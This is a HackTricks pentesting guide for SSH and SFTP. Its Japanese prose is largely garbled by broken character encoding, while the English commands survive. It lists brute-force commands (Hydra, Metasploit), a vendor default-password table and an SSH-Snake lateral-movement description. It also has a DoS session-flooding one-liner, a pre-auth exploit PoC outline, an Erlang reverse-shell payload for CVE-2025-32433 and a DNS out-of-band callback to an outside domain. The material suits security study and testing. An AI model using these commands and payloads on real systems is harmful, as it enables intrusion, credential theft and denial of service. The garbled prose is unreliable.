22 - Pentesting SSH/SFTP
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
åºæ¬æ å ±
SSH (Secure Shell or Secure Socket Shell) ã¯ãä¿¡é Œã§ããªããããã¯ãŒã¯äžã§ã³ã³ãã¥ãŒã¿ãžã®å®å šãªæ¥ç¶ãå¯èœã«ãããããã¯ãŒã¯ãããã³ã«ã§ãããªã¢ãŒãã·ã¹ãã ã«ã¢ã¯ã»ã¹ããéã®ããŒã¿ã®æ©å¯æ§ãšæŽåæ§ãç¶æããããã«éèŠã§ãã
æ¢å®ã®ããŒã: 22
22/tcp open ssh syn-ack
SSHãµãŒããŒ:
- openSSH â OpenBSDã®SSHã§ãBSDãLinuxãã£ã¹ããªãã¥ãŒã·ã§ã³ã«æèŒãããWindows 10以éã®Windowsã«ãæèŒãããŠããŸã
- Dropbear â ã¡ã¢ãªãããã»ããµè³æºãéãããç°å¢åãã®SSHå®è£ ã§ãOpenWrtã«æèŒãããŠããŸã
- PuTTY â Windowsåãã®SSHå®è£ ãã¯ã©ã€ã¢ã³ãã¯äžè¬çã«äœ¿çšãããŸããããµãŒããŒåŽã®å©çšã¯çšã§ã
- CopSSH â Windowsåãã®OpenSSHã®å®è£
SSHã©ã€ãã©ãªïŒãµãŒããŒåŽã®å®è£ ïŒ:
- libssh â SSHv2ãããã³ã«ãå®è£ ãããã«ããã©ãããã©ãŒã ã®Cã©ã€ãã©ãªã§ãPythonãPerlãããã³Rã®ãã€ã³ãã£ã³ã°ããããŸã; KDEã®sftpãGitHubã®git SSHã€ã³ãã©ã§äœ¿çšãããŠããŸã
- wolfSSH â ANSI Cã§æžãããSSHv2ãµãŒããŒã©ã€ãã©ãªã§ãçµã¿èŸŒã¿ãRTOSããªãœãŒã¹å¶çŽã®ããç°å¢ã察象ãšããŠããŸã
- Apache MINA SSHD â Apache SSHDã®Javaã©ã€ãã©ãªã¯Apache MINAãåºã«ããŠããŸã
- paramiko â Pythonåãã®SSHv2ãããã³ã«ã©ã€ãã©ãª
Enumeration
Banner Grabbing
nc -vn <IP> 22
èªååããã ssh-audit
ssh-audit 㯠ssh ãµãŒããŒããã³ã¯ã©ã€ã¢ã³ãã®èšå®ç£æ»çšããŒã«ã§ãã
https://github.com/jtesta/ssh-audit 㯠https://github.com/arthepsy/ssh-audit/ ã®æŽæ°ããããã©ãŒã¯ã§ã
æ©èœ:
- SSH1 and SSH2 ãããã³ã«ã®ãµãŒããŒããµããŒã;
- SSH ã¯ã©ã€ã¢ã³ãã®èšå®ãè§£æ;
- ãããŒã®ååŸãããã€ã¹/ãœãããŠã§ã¢ããã³ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®èå¥ãå§çž®ã®æ€åº;
- ããŒäº€æããã¹ãããŒãæå·åãããã³ã¡ãã»ãŒãžèªèšŒã³ãŒãã®ã¢ã«ãŽãªãºã ãåé;
- ã¢ã«ãŽãªãºã æ å ±ãåºåïŒå°å ¥ææãåé€/ç¡å¹åãå±éº/匱ã/ã¬ã¬ã·ãŒãªã©ïŒ;
- ã¢ã«ãŽãªãºã ã®æšå¥šãåºåïŒèªèãããœãããŠã§ã¢ã®ããŒãžã§ã³ã«åºã¥ã远å ãŸãã¯åé€ïŒ;
- ã»ãã¥ãªãã£æ å ±ãåºåïŒé¢é£ããåé¡ãå²ãåœãŠããã CVE ãªã¹ããªã©ïŒ;
- ã¢ã«ãŽãªãºã æ å ±ã«åºã¥ã SSH ããŒãžã§ã³äºææ§ã®è§£æ;
- OpenSSHãDropbear SSHãlibssh ã®å±¥æŽæ å ±;
- Linux ãš Windows ã§åäœ;
- äŸåé¢ä¿ãªã
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
ãµãŒããŒã®å ¬éSSHããŒ
ssh-keyscan -t rsa <IP> -p <PORT>
匱ãæå·ã¢ã«ãŽãªãºã
ããã¯ããã©ã«ãã§nmapã«ãã£ãŠæ€åºãããŸãããã ããsslcanãŸãã¯sslyzeã䜿çšããããšãã§ããŸãã
Nmap ã¹ã¯ãªãã
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
Shodan
ssh
Brute force usernames, passwords and private keys
Username Enumeration
äžéšã® OpenSSH ã®ããŒãžã§ã³ã§ã¯ãtiming attack ã«ãããŠãŒã¶ãŒåæãå¯èœã§ãããããæªçšããããã« metasploit ã¢ãžã¥ãŒã«ã䜿çšã§ããŸãïŒ
msf> use scanner/ssh/ssh_enumusers
Brute force
äžè¬ç㪠ssh èªèšŒæ å ±ã¯ here ãš hereã以äžã«ããããŸãã
Private Key Brute Force
䜿çšå¯èœãª ssh private keys ããããªãâŠè©ŠããŠã¿ãŸããããnmap ã¹ã¯ãªããã䜿ããŸã:
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
ãŸã㯠MSF auxiliary module:
msf> use scanner/ssh/ssh_identify_pubkeys
ããã㯠ssh-keybrute.py (native python3ã軜éã§ã¬ã¬ã·ãŒã¢ã«ãŽãªãºã ãæå¹): snowdroppe/ssh-keybrute.
Known badkeys can be found here:
ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub
匱ã SSH éµ / Debian ã®äºæž¬å¯èœãª PRNG
äžéšã®ã·ã¹ãã ã§ã¯ãæå·åçŽ æãçæããããã«äœ¿çšãããä¹±æ°ã·ãŒãã«æ¢ç¥ã®æ¬ é¥ããããŸããããã«ããéµç©ºéãå€§å¹ ã«çž®å°ãããbruteforced ãããå¯èœæ§ããããŸããDebian ã®åŒ±ã PRNG ã®åœ±é¿ãåããã·ã¹ãã ã§çæãããäºåçæã®éµã»ããã¯ããã§å ¥æã§ããŸã: g0tmi1k/debian-ssh.
ãããåç §ããŠã¿ãŒã²ãããã·ã³ã®æå¹ãªéµãæ€çŽ¢ããŠãã ããã
Kerberos / GSSAPI SSO
ã¿ãŒã²ããã® SSH ãµãŒãã GSSAPI ããµããŒãããŠããå ŽåïŒäŸãã°ãã¡ã€ã³ã³ã³ãããŒã©äžã® Windows OpenSSHïŒããã¹ã¯ãŒãã®ä»£ããã« Kerberos TGT ã䜿ã£ãŠèªèšŒã§ããŸãã
Workflow from a Linux attacker host:
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
泚æ:
- If you connect to the wrong name (e.g., short host, alias, or wrong order in
/etc/hosts), you may get: âServer not found in Kerberos databaseâ because the SPN does not match. crackmapexec ssh --kerberoscan also use your ccache for Kerberos auth.
ããã©ã«ãã®èªèšŒæ å ±
| ãã³ã㌠| ãŠãŒã¶ãŒå | ãã¹ã¯ãŒã |
|---|---|---|
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
SSH-MitM
ããŒã«ã«ãããã¯ãŒã¯å ã«ããŠããŠãŒã¶ãŒåãšãã¹ã¯ãŒãã§SSHãµãŒãã«æ¥ç¶ããããšããŠãã被害è ãããå Žåããããã®è³æ Œæ å ±ãçãããã«MitMæ»æã詊ã¿ãããšãã§ããŸãã
æ»æã®æµã:
- Traffic Redirection: æ»æè ã¯è¢«å®³è ã®ãã©ãã£ãã¯ãèªèº«ã®ãã·ã³ã«è¿åãããSSHãµãŒããžã®æ¥ç¶è©Šè¡ãäºå®äžååããŸãã
- Interception and Logging: æ»æè ã®ãã·ã³ã¯ãããã·ãšããŠåäœããæ£èŠã®SSHãµãŒããè£ ã£ãŠãŠãŒã¶ãŒã®ãã°ã€ã³æ å ±ãååŸããŸãã
- Command Execution and Relay: æåŸã«æ»æè ã®ãµãŒãã¯ãŠãŒã¶ãŒã®è³æ Œæ å ±ããã°ã«æ®ããã³ãã³ããå®éã®SSHãµãŒããžäžç¶ããŠå®è¡ãããã®çµæããŠãŒã¶ãŒã«è¿ãããšã§ãåŠçãã·ãŒã ã¬ã¹ãã€æ£èŠã®ãã®ã«èŠããããŸãã
SSH MITM ã¯äžèšãšãŸãã«åãããšãè¡ããŸãã
å®éã®MitMãå®è¡ããŠãã£ããã£ããã«ã¯ãARP spoofingãDNS spoofin ã®ãããªææ³ããNetwork Spoofing attacksã§èª¬æãããŠãããã®ä»ã®æè¡ãå©çšã§ããŸãã
SSH-Snake
ã·ã¹ãã äžã§èŠã€ãã£ãSSHç§å¯éµã䜿ã£ãŠãããã¯ãŒã¯ã暪æããåã·ã¹ãã ã®ç§å¯éµãæ°ãããã¹ãã«å¯ŸããŠé 次å©çšãããå Žåã¯ãSSH-Snake ã圹ã«ç«ã¡ãŸãã
SSH-Snake ã¯ä»¥äžã®ã¿ã¹ã¯ãèªåãã€ååž°çã«å®è¡ããŸã:
- çŸåšã®ã·ã¹ãã äžã§ SSH ã®ç§å¯éµãèŠã€ãã
- çŸåšã®ã·ã¹ãã äžã§ãç§å¯éµãåãå ¥ããããå¯èœæ§ã®ãããã¹ããå®å (user@host) ãèŠã€ãã
- çºèŠãããã¹ãŠã®ç§å¯éµã䜿ã£ãŠããã¹ãŠã®å®å ãž SSH æ¥ç¶ã詊ã¿ã
- å®å ãžã®æ¥ç¶ã«æåããå Žåãæ¥ç¶å ã®ã·ã¹ãã äžã§ã¹ããã #1 - #4 ãç¹°ãè¿ã
å®å šã«èªå·±è€è£œã»èªå·±äŒæãããã€ãã¡ã€ã«ã¬ã¹ã§ãã
èšå®ãã¹
Root login
SSHãµãŒããããã©ã«ãã§rootãŠãŒã¶ãŒã®ãã°ã€ã³ãèš±å¯ããŠããããšã¯ãããããããã¯é倧ãªã»ãã¥ãªãã£ãªã¹ã¯ãšãªããŸããrootãã°ã€ã³ãç¡å¹åããããšã¯ãµãŒããä¿è·ããäžã§éèŠãªã¹ãããã§ããç®¡çæš©éãæã€äžæ£ã¢ã¯ã»ã¹ããã«ãŒããã©ãŒã¹æ»æã軜æžã§ããŸãã
OpenSSHã§Rootãã°ã€ã³ãç¡å¹åããæ¹æ³:
- SSHèšå®ãã¡ã€ã«ãç·šé:
sudoedit /etc/ssh/sshd_config - èšå®ã倿Ž:
#PermitRootLogin yesãPermitRootLogin noã«å€æŽ - èšå®ããªããŒã:
sudo systemctl daemon-reload - SSHãµãŒããåèµ·åããŠå€æŽãåæ :
sudo systemctl restart sshd
SFTP Brute Force
SFTP command execution
SFTP ã®èšå®ã§ããããèŠèœãšããšããŠã管çè
ããªã¢ãŒãã·ã§ã«ã¢ã¯ã»ã¹ãæå¹ã«ããã«ãŠãŒã¶ãŒã«ãã¡ã€ã«äº€æã ããèš±å¯ããããšããå ŽåããããŸãããŠãŒã¶ãŒã«å¯ŸããŠé察話åã·ã§ã« (äŸ: /usr/bin/nologin) ãèšå®ããç¹å®ã®ãã£ã¬ã¯ããªã«éã蟌ããŠããã»ãã¥ãªãã£ã®æãç©Žãæ®ãããšããããŸãããŠãŒã¶ãŒã¯ãã°ã€ã³çŽåŸã«ïŒé察話åã·ã§ã«ãæå¹ã«ãªãåã«ïŒã³ãã³ãã®å®è¡ïŒäŸ: /bin/bashïŒãèŠæ±ããããšã§ããããã®å¶éãåé¿ã§ãããããæå³ããã»ãã¥ãªãã£å¯Ÿçãç¡å¹åãããå¯èœæ§ããããŸãã
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
以äžã¯ãŠãŒã¶ãŒ noraj ã®ããã®å®å
šãª SFTP èšå® (/etc/ssh/sshd_config â openSSH) ã®äŸã§ã:
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
ãã®èšå®ã¯SFTPã®ã¿ãèš±å¯ããŸããstartã³ãã³ãã匷å¶ããŠã·ã§ã«ã¢ã¯ã»ã¹ãç¡å¹åããTTYã¢ã¯ã»ã¹ãç¡å¹åããŸãããåæã«ããããçš®é¡ã®port forwardingãtunnelingãç¡å¹åããŸãã
SFTP Tunneling
SFTPãµãŒãã«ã¢ã¯ã»ã¹ã§ããå Žåãäžè¬çãªport forwardingã䜿ã£ãŠãã©ãã£ãã¯ããã®ãµãŒãçµç±ã§tunnelããããšãã§ããŸãïŒ
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
SFTP Symlink
sftp ã«ã¯ âsymlinkâ ãšããã³ãã³ãããããŸãããããã£ãŠããããã©ã«ãã§ writable rights ãæã£ãŠããã°ãother folders/files ã® symlinks ãäœæã§ããŸããå€ãã®å Žå chroot ã« trapped ãããŠããããããã¯ç¹ã«åœ¹ã«ç«ããªãããšãå€ãã§ãããäœæãã symlink ã« no-chroot 㪠serviceïŒäŸãã°ãweb ãããã® symlink ã«ã¢ã¯ã»ã¹ã§ããå ŽåïŒã§ access ã§ãããªããopen the symlinked files through the web ããããšãã§ããŸãã
äŸãã°ãæ°ãããã¡ã€ã« âfrootâ ãã â/**â ãžã® symlink ãäœæããã«ã¯:
sftp> symlink / froot
If you can access the file âfrootâ via web, you will be able to list the root (â/â) folder of the system.
èªèšŒæ¹æ³
é«ã»ãã¥ãªãã£ãªç°å¢ã§ã¯ãåäžèŠçŽ ã®ãã¹ã¯ãŒãèªèšŒã®ä»£ããã«éµèªèšŒãäºèŠçŽ èªèšŒã®ã¿ãæå¹ã«ããã®ãäžè¬çã§ããããããå€ãã®å Žåã匷åãªèªèšŒæ¹åŒãæå¹ã«ããŠãåŒ±ãæ¹åŒãç¡å¹åããŠããªãããšããããŸããããããã±ãŒã¹ãšããŠãopenSSH ã®èšå®ã§ publickey ãæå¹ã«ããŠããã©ã«ãã«èšå®ããããpassword ãç¡å¹åããŠããªãããšãããã®ããããŸãããããã£ãŠãSSH client ã® verbose ã¢ãŒãã䜿çšãããšãæ»æè
ã¯ããåŒ±ãæ¹åŒãæå¹ã«ãªã£ãŠããããšã確èªã§ããŸãïŒ
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
äŸãã°ãèªèšŒå€±æã®å¶éãèšå®ãããŠã㊠password method ã«å°éããæ©äŒããªãå ŽåãPreferredAuthentications ãªãã·ã§ã³ã䜿çšããŠãã®ã¡ãœããã®äœ¿çšã匷å¶ã§ããŸãã
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
SSH ãµãŒããŒã®èšå®ã確èªããŠãäºæããèªèšŒæ¹åŒã®ã¿ãèš±å¯ãããŠããããšã確èªããå¿ èŠããããŸããã¯ã©ã€ã¢ã³ãã® verbose ã¢ãŒãã䜿çšãããšãèšå®ã®æå¹æ§ã確èªããã®ã«åœ¹ç«ã¡ãŸãã
èšå®ãã¡ã€ã«
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
Fuzzing
- https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
- https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2
æè¿ã®é倧ãªèåŒ±æ§ (2024)
CVE-2024-6387 â regreSSHion signal-handler race
OpenSSH 8.5p1â9.7p1 㯠sshd ã® SIGALRM ãã³ãã©å
ã® async-safe ãã®ã³ã°ã¬ãŒããåé€ããCVE-2006-5051 ãåå°å
¥ããŸãããããã«ãããLoginGraceTime ãåããç¬éã«èªèšŒãããŠããªãæ»æè
ã glibc ããŒããç Žæã§ããããã«ãªããŸããQualys ã¯ãã®ãã°ã 32-bit Linux äžã§ã® root RCE ã«å®çšåããŠããã64-bit ã¿ãŒã²ããã§ãååãªã°ã«ãŒãã³ã°è©Šè¡ãããã°ãã«ãŒããã©ãŒã¹å¯èœã§ãããšå ±åããŠããŸãããããŒååŸæã«ãããã®ããŒãžã§ã³ãé瀺ãããã¹ããåªå
ããŠãã ããã
å©çšã¯ã¿ã€ãã³ã°äŸåã§ãïŒç¹æš©ã¢ãã¿ãè匱ãªã·ã°ãã«çµè·¯ã«ç¹°ãè¿ãå°éãããããèªèšŒãè¡ããªãåéã»ãã·ã§ã³ã§ããŒã¢ã³ãå©ããã¢ãã±ãŒã¿ã®ç¶æ ãæŽããŸãã
Operator tips:
ssh -VïŒãªã¢ãŒããããŒïŒãssh -G <target> | grep ^userauthsã§ãã«ãããã£ã³ã¬ãŒããªã³ãããLoginGraceTimeããŒãã§ãªãããšã確èªããã- ã©ãã¿ãŒã²ãããå§å詊éšããã«ã¯ãèªèšŒãèŠæ±ããªãçåœãªã»ãã·ã§ã³ã倧éã«æãããäŸïŒ
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
LoginGraceTime 0ã匷å¶ãããã¹ãã¯è匱ãªã³ãŒããã¹ã«è§Šããªã âMaxStartupsã䜿ãåãããšã§ã® DoS è§åºŠã®ã¿ãæ³å®ããã
CVE-2024-3094 â xz/liblzma supply-chain backdoor
XZ Utils 5.6.0 ãš 5.6.1 ã¯ãx86-64 Linux äžã® Debian/RPM ããã±ãŒãžã³ã°æã«é ããªããžã§ã¯ããå±éããããã€åããããªãªãŒã¹ tarball ãåºè·ããŸããããã€ããŒã㯠glibc ã® IFUNC ãªãŸã«ããæªçšã㊠sshd ã® RSA_public_decrypt ãããã¯ãïŒsystemd ãããã«ãã liblzma ãèªã¿èŸŒãŸããå ŽåïŒãæ»æè
眲åããããã±ãããåãå
¥ããŠããªãªãŒã¹ãèªèšŒã§ã³ãŒãå®è¡ãå¯èœã«ããŸãã
æªæããããžãã¯ã¯ããã±ãŒãžåããããã€ããªå
éšã«ã®ã¿ååšãããããå®éçšã§æ€èšŒããã«ã¯è¢«å®³è
ãå®éã«äœãã€ã³ã¹ããŒã«ãããã確èªããå¿
èŠããããŸãïŒxz --versionãrpm -qi xz/dpkg -l xz-utils ã確èªãã/usr/lib*/liblzma.so* ã®ããã·ã¥æ¯èŒãldd /usr/sbin/sshd | grep -E "systemd|lzma" ã§ sshd ããã®è匱ãªäŸåé¢ä¿ãåŒããŠãããã調ã¹ãŠãã ãããããã¯ã¯ããã»ã¹ãã¹ã /usr/sbin/sshd ã®å Žåã«ã®ã¿åäœãããããã©ãã§ããã¯ãã¢ãåçŸããã«ã¯ãã£ã¹ããã®ãã«ãç°å¢ãåçŸããå¿
èŠãããããšãå€ãã§ãã
Authentication State-Machine Bypass (Pre-Auth RCE)
ããã€ãã® SSH ãµãŒãå®è£ ã«ã¯ãã¯ã©ã€ã¢ã³ããèªèšŒå®äºåã« connection-protocol ã¡ãã»ãŒãžãéä¿¡ã§ããããã«ããŠããŸããèªèšŒæéç¶æ æ©æ¢°ïŒauthentication finite-state machineïŒã«é¢ããããžãã¯æ¬ é¥ããããŸãããµãŒããèªèº«ãæ£ããç¶æ ã«ããããæ€èšŒããªãããããããã®ã¡ãã»ãŒãžã¯ãŠãŒã¶ãå®å šã«èªèšŒããããã®ããã«æ±ãããèªèšŒåã®ã³ãŒãå®è¡ãã»ãã·ã§ã³äœæãåŒãèµ·ãããŸãã
ãããã³ã«ã¬ãã«ã§ã¯ãmessage code ⥠80 (0x50) ã®ä»»æã® SSH ã¡ãã»ãŒãžã¯ connection ã¬ã€ã€ãŒ (RFC 4254) ã«å±ããæåããèªèšŒã®åŸã«ã®ã¿åãå ¥ããããã¹ãã§ã (RFC 4252)ããµãŒãã SSH_AUTHENTICATION ç¶æ ã®ãŸãŸãããã®ã¡ãã»ãŒãžã®ãããããåŠçãããšãæ»æè ã¯å³åº§ã«ãã£ãã«ãäœæããã³ãã³ãå®è¡ãããŒããã©ã¯ãŒãã£ã³ã°çã®æäœãèŠæ±ã§ããŸãã
Generic Exploitation Steps
- ã¿ãŒã²ããã® SSH ããŒãïŒéåžž 22ããã ã 2022ã830ã2222 ãªã©ã§ Erlang/OTP ãå ¬éããŠãããµãŒãã¹ãããåŸãïŒãž TCP æ¥ç¶ã確ç«ããã
- çã® SSH ãã±ãããäœæãã:
- 4-byte packet_length (big-endian)
- 1-byte message_code ⥠80 (e.g.
SSH_MSG_CHANNEL_OPEN= 90,SSH_MSG_CHANNEL_REQUEST= 98) - éžæããã¡ãã»ãŒãžã¿ã€ãã§è§£éããããã€ããŒã
- èªèšŒãå®äºãããåã«ãã®ãã±ãããéä¿¡ããã
- ãã®çµæãpre-auth ã§é²åºãããµãŒã APIïŒã³ãã³ãå®è¡ãããŒããã©ã¯ãŒãã£ã³ã°ããã¡ã€ã«ã·ã¹ãã ã¢ã¯ã»ã¹ãªã©ïŒãšããåãããã
Python proof-of-concept outline:
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity â send your own client banner then read server banner
# ⊠key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
å®éã«ã¯ãã¿ãŒã²ããå®è£ ã«å¿ããŠéµäº€æãå®è¡ïŒãŸãã¯çç¥ïŒããå¿ èŠããããŸãããèªèšŒã¯äžåè¡ãããŸããã
Erlang/OTP sshd (CVE-2025-32433)
- Affected versions: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
- Root cause: Erlang ã®ãã€ãã£ã SSH ããŒã¢ã³ã¯
ssh_connection:handle_msg/2ãåŒã³åºãåã«çŸåšã®ç¶æ ãæ€èšŒããŸããããããã£ãŠãã¡ãã»ãŒãžã³ãŒã 80-255 ã®ä»»æã®ãã±ãããã»ãã·ã§ã³ããŸã userauth ç¶æ ã«ããéã«æ¥ç¶ãã³ãã©ã«å°éããŸãã - Impact: èªèšŒãããŠããªã remote code executionïŒããŒã¢ã³ã¯éåžžãçµã¿èŸŒã¿/OT ããã€ã¹äžã§ root ãšããŠå®è¡ãããŸãïŒã
æ»æè ãå¶åŸ¡ãããã£ãã«ã«ãã€ã³ãããã reverse shell ãçæããäŸã®ãã€ããŒãïŒ
% open a channel first ⊠then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
Blind RCE / out-of-band detection 㯠DNS çµç±ã§å®è¡ã§ããŸã:
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
æ€ç¥ãšç·©å:
- Inspect SSH traffic: èªèšŒåã«èŠ³æž¬ããã message code ⥠80 ãæã€ãã±ãããç Žæ£ããã
- Upgrade Erlang/OTP to 27.3.3 / 26.2.5.11 / 25.3.2.20 or newer.
- Restrict exposure of management ports (22/2022/830/2222) â especially on OT equipment.
圱é¿ãåããä»ã®å®è£
- libssh 0.6 â 0.8 (server side) â CVE-2018-10933 â ã¯ã©ã€ã¢ã³ãããéä¿¡ãããèªèšŒãããŠããªã
SSH_MSG_USERAUTH_SUCCESSãåãå ¥ããŠããŸããäºå®äžéã®è«çãã°ã«ãªãã
å ±éã®æèšã¯ãRFC ãå®ããç¶æ é·ç§»ããã®ãããªãéžè±ãèŽåœçã«ãªãåŸããšããããšã ãSSH ããŒã¢ã³ãã¬ãã¥ãŒããã fuzzing ãè¡ãéã¯ãç¹ã« ç¶æ é·ç§»ã®å³å¯ãªé©çš ã«æ³šæãæãããšã
åè
- Unit 42 â Erlang/OTP SSH CVE-2025-32433
- SSH hardening guides
- Turgensec SSH hacking guide
- Pentesting Kerberos (88) â client setup and troubleshooting
- 0xdf â HTB: TheFrizz
- Qualys â regreSSHion remote unauthenticated code execution in OpenSSH server
- Snyk â The XZ backdoor (CVE-2024-3094)
HackTricks èªåã³ãã³ã
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


